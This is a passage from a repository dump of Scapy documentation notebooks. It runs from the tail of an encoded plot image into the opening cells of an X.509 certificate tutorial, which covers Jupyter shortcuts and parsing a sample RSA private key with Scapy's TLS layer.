nSeFvz97FjZvhhYtoGNH\n+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\nAAAASUVORK5CYII=\n", "text": [ "" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 7, "text": [ "[[],\n", " []]" ] } ], "prompt_number": 7 } ], "metadata": {} } ] } ================================================ FILE: doc/notebooks/tls/notebook1_x509.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Notebook 1: X.509 certificates" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Jupyter notebook cheat sheet" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Use Shift+Enter to run the current cell\n", "print('Hello!')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# You may also use Alt+Enter to run the current cell, then create a new cell right below\n", "from datetime import datetime\n", "print('This is the time right now: %s' % datetime.now())" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# If needed, pause the cell edition with Ctrl-M.\n", "# Then you can delete the current cell with D+D. You can also undo cell deletion with Z.\n", "# Finally, should Jupyter become stuck in execution, use Kernel/Interrupt from the menu bar.\n", "print('Got it!')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Data manipulation with Scapy" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from scapy.all import *\n", "load_layer('tls')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "keystr = open('raw_data/pki/ca_key.der', 'rb').read()\n", "print(repr(keystr))\n", "# (btw, you can hide the output of a cell by double-clicking on the left of the output)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "privkey = RSAPrivateKey(keystr)\n", "privkey.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "v = privkey.version\n", "print('The \\'version\\' stripped from any ASN.1 encoding is 0x%02x.' % v.val)\n", "print('The \\'version\\' field corresponds to bytes %r.' % raw(v))" ] }, { "cell_type": "code", "execution_count": null, 